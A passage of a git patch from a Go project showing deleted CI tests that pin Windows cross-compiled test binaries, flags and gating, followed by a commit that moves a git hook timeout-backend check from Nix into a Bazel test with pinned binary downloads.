package". -type windowsTestBinaryManifestEntry struct { - name string - cgo string - tags string - pkg string -} - -func readWindowsTestBinariesManifest(t *testing.T) []windowsTestBinaryManifestEntry { - t.Helper() - - path := filepath.Join(sourceRepoRoot(t), "scripts", "ci", "windows-test-binaries.txt") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - - var entries []windowsTestBinaryManifestEntry - for _, line := range strings.Split(string(data), "\n") { - if idx := strings.Index(line, "#"); idx != -1 { - line = line[:idx] - } - line = strings.TrimSpace(line) - if line == "" { - continue - } - fields := strings.Fields(line) - if len(fields) != 4 { - t.Fatalf("malformed manifest line %q: want 4 whitespace-separated fields (name cgo tags package), got %d", line, len(fields)) - } - entries = append(entries, windowsTestBinaryManifestEntry{name: fields[0], cgo: fields[1], tags: fields[2], pkg: fields[3]}) - } - return entries -} - -// TestWindowsTestBinariesManifestPinned pins the advisory-phase manifest to -// exactly the three binaries its two "-prebuilt" consumer jobs need (see the -// manifest's own header comment for why the rollout is scoped this way). -// Growing the manifest without growing its consumers, or vice versa, is -// exactly the drift TestWindowsTestBinariesConsumersMatchManifest below -// exists to catch; this test instead catches an unreviewed change to the -// three pinned entries themselves (toolchain flags, package, or tags -// silently drifting out from under the native jobs they mirror). -func TestWindowsTestBinariesManifestPinned(t *testing.T) { - entries := readWindowsTestBinariesManifest(t) - want := []windowsTestBinaryManifestEntry{ - {name: "bd.exe", cgo: "1", tags: "gms_pure_go", pkg: "./cmd/bd"}, - {name: "cmd-bd-cgo.test.exe", cgo: "1", tags: "gms_pure_go", pkg: "./cmd/bd"}, - {name: "cmd-bd-nocgo.test.exe", cgo: "0", tags: "gms_pure_go", pkg: "./cmd/bd"}, - } - if len(entries) != len(want) { - t.Fatalf("manifest has %d entries, want %d: got %+v", len(entries), len(want), entries) - } - for i, got := range entries { - if got != want[i] { - t.Errorf("entry %d = %+v, want %+v", i, got, want[i]) - } - } -} - -// TestWindowsCrossCompileToolchainPinned pins build-windows-test-binaries.sh -// to the same mingw-w64 cross-compiler release.yml's goreleaser job uses for -// the shipped bd-windows-amd64 binary (.goreleaser.yml), so the two toolchains -// cannot silently diverge. -func TestWindowsCrossCompileToolchainPinned(t *testing.T) { - path := filepath.Join(sourceRepoRoot(t), "scripts", "ci", "build-windows-test-binaries.sh") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - script := string(data) - for _, want := range []string{ - `env_args=(GOOS=windows GOARCH=amd64 CGO_ENABLED="$cgo")`, - `env_args+=(CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++)`, - // F4 review nit: the resolved mingw-w64 version is logged (once, up - // front) so an advisory-phase run's log can confirm which compiler - // release actually built the binaries, the same way "== host go - // toolchain ==" confirms the Go side. - `x86_64-w64-mingw32-gcc --version`, - } { - if !strings.Contains(script, want) { - t.Errorf("build-windows-test-binaries.sh does not contain %q", want) - } - } - - goreleaser := readGoreleaserBuilds(t) - var windowsBuild *goreleaserBuild - for i := range goreleaser { - if goreleaser[i].ID == "bd-windows-amd64" { - windowsBuild = &goreleaser[i] - break - } - } - if windowsBuild == nil { - t.Fatal(".goreleaser.yml has no bd-windows-amd64 build to compare against") - } - wantEnv := []string{"CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++"} - if !equalStrings(windowsBuild.Env, wantEnv) { - t.Errorf(".goreleaser.yml bd-windows-amd64 build env = %v, want %v (build-windows-test-binaries.sh's cgo=1 entries are pinned to match this exact toolchain)", windowsBuild.Env, wantEnv) - } -} - -// winBinRefPattern matches `.../win-bin/` references in step `run` -// bodies, capturing the file name so it can be checked against the manifest. -var winBinRefPattern = regexp.MustCompile(`win-bin/([A-Za-z0-9_.-]+)`) - -// TestWindowsTestBinariesConsumersMatchManifest confirms every binary name -// the "-prebuilt" jobs reference actually exists in the manifest that builds -// it - a renamed manifest entry (or a typo'd reference) fails a Windows job -// at runtime with a missing-file error; this catches it at review time -// instead. -func TestWindowsTestBinariesConsumersMatchManifest(t *testing.T) { - entries := readWindowsTestBinariesManifest(t) - names := make(map[string]bool, len(entries)) - for _, e := range entries { - names[e.name] = true - } - - pr := readCIWorkflow(t, "pr.yml") - referenced := make(map[string]bool) - for _, jobName := range []string{"test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { - job := pr.job(t, jobName) - for _, step := range job.Steps { - for _, env := range step.Env { - for _, m := range winBinRefPattern.FindAllStringSubmatch(env, -1) { - referenced[m[1]] = true - if !names[m[1]] { - t.Errorf("%s step %q env references win-bin/%s, not in manifest %+v", jobName, step.Name, m[1], entries) - } - } - } - for _, m := range winBinRefPattern.FindAllStringSubmatch(step.Run, -1) { - referenced[m[1]] = true - if !names[m[1]] { - t.Errorf("%s step %q run references win-bin/%s, not in manifest %+v", jobName, step.Name, m[1], entries) - } - } - } - } - // Every manifest entry this advisory phase builds should be consumed by - // at least one of the two twins - an unused entry is dead weight in the - // cross-compile job for no benefit. - for name := range names { - if !referenced[name] { - t.Errorf("manifest entry %q is never referenced by test-windows-liveness-prebuilt or worktree-remove-windows-prebuilt", name) - } - } -} - -// TestWindowsTestBinariesArtifactNameConsistent pins the upload/download -// artifact name shared by windows-test-binaries and its two consumers, and -// that both consumers declare the producer as a `needs` dependency (without -// it, the download step would race the upload and fail intermittently -// instead of deterministically). -func TestWindowsTestBinariesArtifactNameConsistent(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - producer := pr.job(t, "windows-test-binaries") - upload := producer.step(t, "Upload Windows test binaries") - uploadName := upload.With["name"] - if uploadName != "windows-test-binaries" { - t.Fatalf("producer upload name = %q, want %q", uploadName, "windows-test-binaries") - } - - for _, jobName := range []string{"test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { - job := pr.job(t, jobName) - download := job.step(t, "Download Windows test binaries") - if got := download.With["name"]; got != uploadName { - t.Errorf("%s download name = %q, want %q (matching the producer's upload name)", jobName, got, uploadName) - } - if len(job.Needs) != 1 || job.Needs[0] != "windows-test-binaries" { - t.Errorf("%s needs = %v, want exactly [windows-test-binaries]", jobName, job.Needs) - } - } -} - -// runFlagLiteral extracts the `-run '...'` argument from a step's run body. -func runFlagLiteral(t *testing.T, step ciWorkflowStep) string { - t.Helper() - m := regexp.MustCompile(`-run '([^']+)'`).FindStringSubmatch(step.Run) - if m == nil { - t.Fatalf("step %q run body has no -run '...' literal:\n%s", step.Name, step.Run) - } - return m[1] -} - -// TestWindowsTestBinariesSelectSameTestsAsNativeJobs is the F4.4 side-by-side -// policy test: the cross-built "-prebuilt" jobs must select exactly the same -// tests, with the same CGO_ENABLED selection, as the native windows-latest -// jobs they are advisory twins of. A -run literal or CGO_ENABLED value that -// drifts between the two paths would mean the cross-build is silently -// validating a different test subset than the required native lane - -// defeating the entire point of running them side by side before any flip. -func TestWindowsTestBinariesSelectSameTestsAsNativeJobs(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - native := pr.job(t, "test-windows-liveness") - prebuilt := pr.job(t, "test-windows-liveness-prebuilt") - - nativeGlobalPrime := native.step(t, "Run native Windows global Prime override") - prebuiltGlobalPrime := prebuilt.step(t, "Run native Windows global Prime override (prebuilt)") - if n, p := runFlagLiteral(t, nativeGlobalPrime), runFlagLiteral(t, prebuiltGlobalPrime); n != p { - t.Errorf("global-prime -run literal mismatch: native %q prebuilt %q", n, p) - } - if got := nativeGlobalPrime.Env["CGO_ENABLED"]; got != "1" { - t.Fatalf("test-windows-liveness CGO_ENABLED = %q, want \"1\" (manifest entries bd.exe/cmd-bd-cgo.test.exe assume this)", got) - } - - nativeLiveness := native.step(t, "Run Windows liveness regression test") - prebuiltLiveness := prebuilt.step(t, "Run Windows liveness regression test (prebuilt)") - if n, p := runFlagLiteral(t, nativeLiveness), runFlagLiteral(t, prebuiltLiveness); n != p { - t.Errorf("liveness regression -run literal mismatch: native %q prebuilt %q", n, p) - } - - nativeWorktree := pr.job(t, "worktree-remove-windows").step(t, "Run native Windows worktree removal boundary tests") - prebuiltWorktree := pr.job(t, "worktree-remove-windows-prebuilt").step(t, "Run native Windows worktree removal boundary tests (prebuilt)") - if n, p := runFlagLiteral(t, nativeWorktree), runFlagLiteral(t, prebuiltWorktree); n != p { - t.Errorf("worktree-remove -run literal mismatch: native %q prebuilt %q", n, p) - } - if got := nativeWorktree.Env["CGO_ENABLED"]; got != "0" { - t.Fatalf("worktree-remove-windows CGO_ENABLED = %q, want \"0\" (manifest entry cmd-bd-nocgo.test.exe assumes this)", got) - } -} - -// runGoTestBinaryInvocationPattern matches a scripts/ci/run-go-test-binary.sh -// invocation's binary path argument and the flags that follow it, so tests -// can pin the exact PKGDIR and flag set passed to a prebuilt binary without -// having to byte-match the entire run body. -var runGoTestBinaryInvocationPattern = regexp.MustCompile(`run-go-test-binary\.sh "[^"]*/win-bin/([A-Za-z0-9_.-]+)" (\S+) (.*)`) - -// jobWinBinNames returns the distinct win-bin/ binaries a job's steps -// reference, across both `run` bodies and step `env` values. -func jobWinBinNames(job ciWorkflowJob) map[string]bool { - names := make(map[string]bool) - for _, step := range job.Steps { - for _, m := range winBinRefPattern.FindAllStringSubmatch(step.Run, -1) { - names[m[1]] = true - } - for _, env := range step.Env { - for _, m := range winBinRefPattern.FindAllStringSubmatch(env, -1) { - names[m[1]] = true - } - } - } - return names -} - -// TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs closes the gap left by -// TestWindowsTestBinariesConsumersMatchManifest (which only checks referenced -// binaries exist in the manifest, not which job references which one) and by -// TestWindowsTestBinariesSelectSameTestsAsNativeJobs (which checks -run -// literals and the *native* job's CGO_ENABLED, not the prebuilt binary name -// or its invocation flags). Without this, swapping which "-prebuilt" job -// downloads/runs cmd-bd-cgo.test.exe vs. cmd-bd-nocgo.test.exe, dropping -// -count=1 from a run-go-test-binary.sh invocation, or changing the PKGDIR -// argument passed to it, would all pass every other test in this file. -func TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - cases := []struct { - jobName string - wantBinary string - }{ - {"test-windows-liveness-prebuilt", "cmd-bd-cgo.test.exe"}, - {"worktree-remove-windows-prebuilt", "cmd-bd-nocgo.test.exe"}, - } - for _, c := range cases { - job := pr.job(t, c.jobName) - - // Exactly one *.test.exe referenced, and it is the expected one - // (catches a cgo/nocgo swap between the two twins). bd.exe (the - // plain executable, not a go-test-c binary) is referenced too by - // test-windows-liveness-prebuilt and is out of scope here. - testBinaries := make(map[string]bool) - for name := range jobWinBinNames(job) { - if strings.HasSuffix(name, ".test.exe") { - testBinaries[name] = true - } - } - if len(testBinaries) != 1 || !testBinaries[c.wantBinary] { - t.Errorf("%s references *.test.exe binaries %v, want exactly {%q}", c.jobName, testBinaries, c.wantBinary) - } - - // Every step that actually exercises the test binary (whether via a - // direct run-go-test-binary.sh invocation or, for - // test-windows-liveness-prebuilt's first step, through - // scripts/test.sh's BEADS_TEST_PREBUILT_TEST_BINARY short-circuit) - // passes -count=1 (catches a dropped -count=1 on either path). - for _, step := range job.Steps { - if strings.Contains(step.Run, ".test.exe") && !strings.Contains(step.Run, "-count=1") { - t.Errorf("%s step %q exercises the prebuilt test binary without -count=1", c.jobName, step.Name) - } - } - - // Every direct run-go-test-binary.sh invocation in the job also - // passes the expected binary and PKGDIR (catches a cgo/nocgo swap or - // a PKGDIR change on this path specifically). - sawInvocation := false - for _, step := range job.Steps { - for _, m := range runGoTestBinaryInvocationPattern.FindAllStringSubmatch(step.Run, -1) { - sawInvocation = true - binary, pkgdir, rest := m[1], m[2], m[3] - if binary != c.wantBinary { - t.Errorf("%s step %q invokes run-go-test-binary.sh with binary %q, want %q", c.jobName, step.Name, binary, c.wantBinary) - } - if pkgdir != "./cmd/bd" { - t.Errorf("%s step %q invokes run-go-test-binary.sh with PKGDIR %q, want \"./cmd/bd\"", c.jobName, step.Name, pkgdir) - } - if !regexp.MustCompile(`(^|\s)-count=1(\s|$)`).MatchString(rest) { - t.Errorf("%s step %q run-go-test-binary.sh invocation is missing -count=1: %q", c.jobName, step.Name, rest) - } - } - } - if !sawInvocation { - t.Errorf("%s has no direct run-go-test-binary.sh invocation; this test's PKGDIR/-count=1 checks did not run", c.jobName) - } - } -} - -// fakeGoTestBinaryForTimeoutProbe is a stand-in `go test -c` binary used only -// to observe the exact -test.* argv scripts/ci/run-go-test-binary.sh builds, -// without a real go toolchain. It is deliberately simpler than -// fakePrebuiltTestBinary in test_script_test.go (which also records cwd and -// BEADS_TEST_REPO_ROOT): this probe only needs argv. -const fakeGoTestBinaryForTimeoutProbe = `#!/usr/bin/env bash -set -euo pipefail -for a in "$@"; do - printf 'arg=%s\n' "$a" -done >"$FAKE_GO_TEST_BINARY_LOG" -` - -// TestRunGoTestBinaryDefaultsTimeoutWhenOmitted is the regression test for -// F4 review SF-3: scripts/ci/run-go-test-binary.sh must inject the same -// -test.timeout=10m default `go test` itself injects when a caller omits -// -timeout, and the unconditional -test.paniconexit0 flag Go 1.14+ always -// adds. pr.yml's two direct invocations of this script -// (test-windows-liveness-prebuilt, worktree-remove-windows-prebuilt; see -// TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs above) both omit -// -timeout, relying on exactly this default -- unlike every path that goes -// through scripts/test.sh, which always supplies its own -timeout default -// (25m, or $TEST_TIMEOUT) before run-go-test-binary.sh ever sees the args, -// so that path can never exercise the omitted-timeout branch. This test -// calls the real script directly, bypassing test.sh entirely, to pin the one -// branch no other test reaches. -func TestRunGoTestBinaryDefaultsTimeoutWhenOmitted(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("run-go-test-binary.sh is a bash script; exercised by the Windows CI job itself, not this test") - } - - repoRoot := sourceRepoRoot(t) - root := t.TempDir() - fakeBin := filepath.Join(root, "fake-go-test-binary") - if err := os.WriteFile(fakeBin, []byte(fakeGoTestBinaryForTimeoutProbe), 0o755); err != nil { - t.Fatalf("write fake go test binary: %v", err) - } - logPath := filepath.Join(root, "fake-go-test-binary.log") - if err := os.WriteFile(logPath, nil, 0o600); err != nil { - t.Fatalf("initialize fake go test binary log: %v", err) - } - - bash, lookErr := exec.LookPath("bash") - if lookErr != nil { - t.Fatalf("bash is required to exercise run-go-test-binary.sh: %v", lookErr) - } - - script := filepath.Join(repoRoot, "scripts", "ci", "run-go-test-binary.sh") - // Deliberately no -timeout: this is the exact invocation shape pr.yml - // uses (binary, PKGDIR, -run, -count=1, no -timeout). - cmd := exec.Command(bash, script, fakeBin, repoRoot, "-run", "TestNothing", "-count=1") - cmd.Env = append(os.Environ(), "FAKE_GO_TEST_BINARY_LOG="+logPath, "GITHUB_WORKSPACE="+repoRoot) - if output, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("run-go-test-binary.sh failed: %v\n%s", err, output) - } - - logBytes, err := os.ReadFile(logPath) - if err != nil { - t.Fatalf("read fake go test binary log: %v", err) - } - var args []string - for _, line := range strings.Split(strings.TrimRight(string(logBytes), "\n"), "\n") { - if arg, ok := strings.CutPrefix(line, "arg="); ok { - args = append(args, arg) - } - } - - wantArgs := []string{"-test.run", "TestNothing", "-test.count", "1", "-test.timeout", "10m", "-test.paniconexit0"} - if strings.Join(args, " ") != strings.Join(wantArgs, " ") { - t.Fatalf("run-go-test-binary.sh with no -timeout launched with args %v, want %v (default -test.timeout=10m plus unconditional -test.paniconexit0, matching native `go test`'s own injected flags)", args, wantArgs) - } -} - -// TestWindowsPrebuiltRequiredFlagMechanism pins the F4 review SF-5 -// single-flag flip mechanism: WINDOWS_PREBUILT_REQUIRED (pr.yml's top-level -// env) is "false" by default, both Windows pairs are unconditionally in -// ci-gate's needs and env map (so the gate always evaluates both), and -// which pair is actually enforced is decided dynamically in the "Evaluate CI -// gate" step's run script rather than by two more names sitting in the -// static CI_GATE_REQUIRED list. Without this test, someone could add -// test-windows-liveness-prebuilt/worktree-remove-windows-prebuilt back into -// CI_GATE_REQUIRED directly (making both pairs required at once, defeating -// the flip) or add a new Windows job to ci-gate.needs without routing it -// through this mechanism (M3 from the F4 review). -func TestWindowsPrebuiltRequiredFlagMechanism(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - if got := pr.Env["WINDOWS_PREBUILT_REQUIRED"]; got != "true" { - t.Errorf("pr.yml top-level env WINDOWS_PREBUILT_REQUIRED = %q, want \"true\" (the prebuilt pair is required since the side-by-side rollout finished)", got) - } - - gate := pr.job(t, "ci-gate") - for _, jobName := range []string{ - "test-windows-liveness", "worktree-remove-windows", - "test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt", - } { - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate.needs = %v, missing %q", gate.Needs, jobName) - } - } - - evaluate := gate.step(t, "Evaluate CI gate") - wantEnv := map[string]string{ - "TEST_WINDOWS_LIVENESS": "${{ needs.test-windows-liveness.result }}", - "WORKTREE_REMOVE_WINDOWS": "${{ needs.worktree-remove-windows.result }}", - "TEST_WINDOWS_LIVENESS_PREBUILT": "${{ needs.test-windows-liveness-prebuilt.result }}", - "WORKTREE_REMOVE_WINDOWS_PREBUILT": "${{ needs.worktree-remove-windows-prebuilt.result }}", - } - for k, want := range wantEnv { - if got := evaluate.Env[k]; got != want { - t.Errorf("Evaluate CI gate step env %s = %q, want %q", k, got, want) - } - } - - // The static CI_GATE_REQUIRED declaration must not itself name either - // Windows pair -- both are added dynamically below, exactly once, based - // on the flag. A static entry here would make that pair unconditionally - // required regardless of the flag. - staticRequired := evaluate.Env["CI_GATE_REQUIRED"] - for _, name := range []string{ - "TEST_WINDOWS_LIVENESS", "WORKTREE_REMOVE_WINDOWS", - "TEST_WINDOWS_LIVENESS_PREBUILT", "WORKTREE_REMOVE_WINDOWS_PREBUILT", - } { - if regexp.MustCompile(`(^|\s)` + name + `(\s|$)`).MatchString(staticRequired) { - t.Errorf("CI_GATE_REQUIRED statically lists %s; it must only be added dynamically by the WINDOWS_PREBUILT_REQUIRED conditional in the run script", name) - } - } - - run := evaluate.Run - for _, want := range []string{ - `if [[ "$WINDOWS_PREBUILT_REQUIRED" == "true" ]]; then`, - `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`, - `skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`, - `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`, - `skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`, - `export CI_GATE_REQUIRED`, - } { - if !strings.Contains(run, want) { - t.Errorf("Evaluate CI gate run body missing %q", want) - } - } -} - -// TestWindowsCrossCompileJobsNeverUseSecrets guards the fork-safety -// constraint this whole slice was built under: windows-test-binaries and its -// two "-prebuilt" consumers run on every PR, including from forks and -// Dependabot, and must never need a secret to do so (they only compile code -// already in the checkout and move an artifact between jobs). The same -// applies to main.yml's cache-seeding twin, which never runs on a fork PR at -// all but should still carry no incentive to grow one. -func TestWindowsCrossCompileJobsNeverUseSecrets(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - main := readCIWorkflow(t, "main.yml") - - type namedJob struct { - workflow string - name string - job ciWorkflowJob - } - jobs := []namedJob{ - {"pr.yml", "windows-test-binaries", pr.job(t, "windows-test-binaries")}, - {"pr.yml", "test-windows-liveness-prebuilt", pr.job(t, "test-windows-liveness-prebuilt")}, - {"pr.yml", "worktree-remove-windows-prebuilt", pr.job(t, "worktree-remove-windows-prebuilt")}, - {"main.yml", "windows-test-binaries-cache", main.job(t, "windows-test-binaries-cache")}, - } - for _, nj := range jobs { - if nj.job.Secrets != nil { - t.Errorf("%s job %s has non-nil secrets: %v", nj.workflow, nj.name, nj.job.Secrets) - } - for _, step := range nj.job.Steps { - if strings.Contains(step.Run, "secrets.") { - t.Errorf("%s job %s step %q run references secrets.*", nj.workflow, nj.name, step.Name) - } - for k, v := range step.Env { - if strings.Contains(v, "secrets.") { - t.Errorf("%s job %s step %q env %s references secrets.*", nj.workflow, nj.name, step.Name, k) - } - } - for k, v := range step.With { - if strings.Contains(v, "secrets.") { - t.Errorf("%s job %s step %q with %s references secrets.*", nj.workflow, nj.name, step.Name, k) - } - } - } - } -} From 77ab980790a14e381cac5275da8c24f346445210 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 11:05:39 +0000 Subject: [PATCH 155/325] ci(bazel): run the hook-timeout-backends check under Bazel; test-nix stops running tests (#7357) checks.nix's hook-timeout-backends (the tracked git hook shims against real GNU/uutils/busybox/toybox timeout implementations, with and without perl, under dash, bash and busybox ash: 240 cases) was the one test PR Risk's test-nix ran on a GitHub runner, through `nix flake check`. It is now //tests/hook_timeout_backends:hook_timeout_backends_test, an sh_test (pr-core-only) that the bazel-test lane runs remotely on every PR: the static uutils 0.12.0, busybox 1.35.0 and toybox 0.8.15 binaries come in sha256-pinned through MODULE.bazel; dash, bash, perl and GNU coreutils from the executor, failing (not skipping) when one is missing. checks.nix goes and flake.nix declares no checks, so test-nix's `nix run .#default` + `nix flake check` is a packaging check (build the package Nix users install, evaluate every flake output), not a test. TestHookTimeoutBackendsRunUnderBazel pins the target and that no flake check comes back. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr-risk.yml | 9 +- .github/workflows/update-vendor-hash.yml | 4 +- BUILD.bazel | 14 + CONTRIBUTING.md | 2 +- MODULE.bazel | 32 +++ checks.nix | 262 ------------------ engdocs/TESTING.md | 2 +- flake.nix | 1 - scripts/ci_f7c_advisory_test.go | 48 +++- tests/hook_timeout_backends/BUILD.bazel | 60 ++++ .../hook_timeout_backends_test.sh | 223 +++++++++++++++ 11 files changed, 384 insertions(+), 273 deletions(-) delete mode 100644 checks.nix create mode 100644 tests/hook_timeout_backends/BUILD.bazel create mode 100755 tests/hook_timeout_backends/hook_timeout_backends_test.sh diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 1e0db9633..bf7960b75 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -45,10 +45,11 @@ jobs: id: nix_help run: | nix run .#default -- --help > help.txt - # Every flake check for the runner's own system (today: hook-timeout- - # backends, checks.nix). `nix flake check` rather than a spelled-out - # `.#checks.x86_64-linux.`: no hardcoded system, and a check added - # to checks.nix is run without a workflow edit. + # A packaging check, not a test: evaluates every flake output (packages, + # apps, devShells, overlay) for every system the flake declares. The + # flake has no `checks`: its one check, hook-timeout-backends, runs + # under Bazel as //tests/hook_timeout_backends:hook_timeout_backends_test + # in bazel.yml's PR-core lane. - name: Run the flake checks run: | nix flake check -L diff --git a/.github/workflows/update-vendor-hash.yml b/.github/workflows/update-vendor-hash.yml index 672457fb1..16b841a59 100644 --- a/.github/workflows/update-vendor-hash.yml +++ b/.github/workflows/update-vendor-hash.yml @@ -3,8 +3,8 @@ name: Update vendorHash for dependabot Go bumps # Dependabot bumps to go.mod/go.sum invalidate the proxyVendor FOD hash in # default.nix, which fails the required PR Risk `test-nix` gate (F7c, # spec-f7.md §2.4: nix-build.yml itself no longer runs on pull_request, since -# test-nix's `nix run .#default` plus `nix flake check -L` is a superset of -# plain `nix build .#default`). This workflow detects the drift, computes the +# test-nix's `nix run .#default` plus `nix flake check -L`, which evaluates +# every flake output, is a superset of plain `nix build .#default`). This workflow detects the drift, computes the # new hash via scripts/update-nix-vendorhash.sh, and pushes the update back to # the dependabot branch so the gate goes green without a maintainer # round-trip. diff --git a/BUILD.bazel b/BUILD.bazel index 339780621..97db2f488 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -48,6 +48,19 @@ exports_files( visibility = ["//scripts/gitattributespolicy:__pkg__"], ) +# //tests/hook_timeout_backends: the tracked git hooks whose managed section +# it runs against real timeout implementations. +exports_files( + [ + ".githooks/post-checkout", + ".githooks/post-merge", + ".githooks/pre-commit", + ".githooks/pre-push", + ".githooks/prepare-commit-msg", + ], + visibility = ["//tests/hook_timeout_backends:__pkg__"], +) + # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula # primitive fixtures. filegroup( @@ -383,6 +396,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/hook_timeout_backends:repo_files", "//tests/migration:repo_files", "//tests/regression:repo_files", "//tests/upgrade_smoke:repo_files", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 536005d1e..daca0d8ab 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -368,7 +368,7 @@ docker run --rm -v $(pwd):/workspace -w /workspace nixos/nix \ If the build fails with a `vendorHash` mismatch, run `./scripts/update-nix-vendorhash.sh` to recompute and update `default.nix`, or update it manually with the `got:` hash from the error message and rebuild. -On a PR, this is covered by PR Risk's required `test-nix` job (`.github/workflows/pr-risk.yml`), which runs `nix run .#default -- --help` plus `nix flake check -L` on every PR touching `go.mod`, `go.sum`, `default.nix`, `flake.nix`, or `flake.lock` -- a superset of plain `nix build .#default`. `.github/workflows/nix-build.yml` dropped its own `pull_request` trigger as redundant (F7c, spec-f7.md §2.4) and now only runs `nix build .#default` on push to `main` and on `workflow_dispatch`, so dependabot bumps that invalidate `vendorHash` still fail loudly post-merge instead of silently breaking Nix users on main. For dependabot Go-module bumps specifically, `.github/workflows/update-vendor-hash.yml` runs the same `update-nix-vendorhash.sh` script and pushes the hash bump back to the dependabot branch automatically (note: GitHub does not retrigger `pull_request` workflows for `GITHUB_TOKEN`-authored commits, so a maintainer may need to re-run PR Risk's `test-nix` once after the auto-fix push to mark the gate green). +On a PR, this is covered by PR Risk's required `test-nix` job (`.github/workflows/pr-risk.yml`), which runs `nix run .#default -- --help` plus `nix flake check -L` (an evaluation of every flake output; the flake has no test checks) on every PR touching `go.mod`, `go.sum`, `default.nix`, `flake.nix`, or `flake.lock` -- a superset of plain `nix build .#default`. `.github/workflows/nix-build.yml` dropped its own `pull_request` trigger as redundant (F7c, spec-f7.md §2.4) and now only runs `nix build .#default` on push to `main` and on `workflow_dispatch`, so dependabot bumps that invalidate `vendorHash` still fail loudly post-merge instead of silently breaking Nix users on main. For dependabot Go-module bumps specifically, `.github/workflows/update-vendor-hash.yml` runs the same `update-nix-vendorhash.sh` script and pushes the hash bump back to the dependabot branch automatically (note: GitHub does not retrigger `pull_request` workflows for `GITHUB_TOKEN`-authored commits, so a maintainer may need to re-run PR Risk's `test-nix` once after the auto-fix push to mark the gate green). ### Debugging diff --git a/MODULE.bazel b/MODULE.bazel index 9cd65e6fc..b429ea297 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -319,3 +319,35 @@ filegroup( sha256 = "2852af0cb20a13139b3448992e69b868e50ed0f8a1e5940ee1de9e19a123b613", urls = ["https://go.dev/dl/go1.25.0.linux-amd64.tar.gz"], ) + +# The timeout implementations //tests/hook_timeout_backends runs the tracked +# git hook shims against (formerly checks.nix's hook-timeout-backends, which +# took them from nixpkgs): static x86_64 builds, so the test needs nothing +# from the executor beyond a shell, perl and GNU coreutils. +http_file = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_file") + +http_file( + name = "busybox_static", + executable = True, + sha256 = "6e123e7f3202a8c1e9b1f94d8941580a25135382b99e8d3e34fb858bba311348", + urls = ["https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox"], +) + +http_file( + name = "toybox_static", + executable = True, + sha256 = "38e03ffd8aead8ca26833e1e5c90a9ea7250f3719c29d779ebff7aa55c9d2dac", + urls = ["https://landley.net/toybox/downloads/binaries/0.8.15/toybox-x86_64"], +) + +http_archive( + name = "uutils_coreutils", + build_file_content = """exports_files( + ["coreutils"], + visibility = ["//visibility:public"], +) +""", + sha256 = "9b555b01457279bcc3e46753f0ef324fd3d02a0535111200a4632d1297263b54", + strip_prefix = "coreutils-0.12.0-x86_64-unknown-linux-musl", + urls = ["https://github.com/uutils/coreutils/releases/download/0.12.0/coreutils-0.12.0-x86_64-unknown-linux-musl.tar.gz"], +) diff --git a/checks.nix b/checks.nix deleted file mode 100644 index dac064270..000000000 --- a/checks.nix +++ /dev/null @@ -1,262 +0,0 @@ -# Flake checks. Run all with `nix flake check`; one with -# `nix build .#checks.. -L`. -pkgs: -let - inherit (pkgs) lib; - - # hook-timeout-backends: run the tracked hook shims against REAL timeout - # implementations. - # - # cmd/bd/hooks_timeout_process_test.go pins the shim's selection logic with - # scripted helpers, and TestTrackedManagedHookSectionsMatchGenerator holds - # the tracked .githooks/* byte-equal to the generator. This check closes the - # remaining gap — what the helpers on real hosts actually do — by running the - # tracked sections against the binaries themselves. That is where the - # surprises live: uutils prints a different banner (GH#5541); busybox exits - # 143 on expiry, not 124, so allowlisting it as-is would turn every timeout - # into a failed hook; toybox exits 125 from --version. - # - # The matrix is derived from a model of the contract, so a change to the - # allowlist is one line here and the binaries either agree or they do not. - # Reading .githooks/* rather than building bd keeps this at about one - # deadline of wall time and independent of the Go build. - # - # Each case: one hook, one shell (the `sh`s a `#!/usr/bin/env sh` hook meets - # in the wild), a PATH of exactly one timeout implementation — under the - # name `timeout`, or for the multicall ones also under `gtimeout` alone — - # plus optionally perl, BEADS_HOOK_TIMEOUT=1, and a fake `bd` that blocks on a held-open fifo - # until a helper kills it. The fake records the signal that killed it, which - # is how the check asserts the backend and not just "it finished": - # coreutils backend → TERM from timeout, shim reports the deadline, exit 0 - # perl backend → ALRM from perl's alarm, same report, exit 0 - # no backend → the fake returns at once; shim warns it is running - # without a deadline, exit 0 - # A non-zero hook exit blocks the user's push, so every case asserts exit 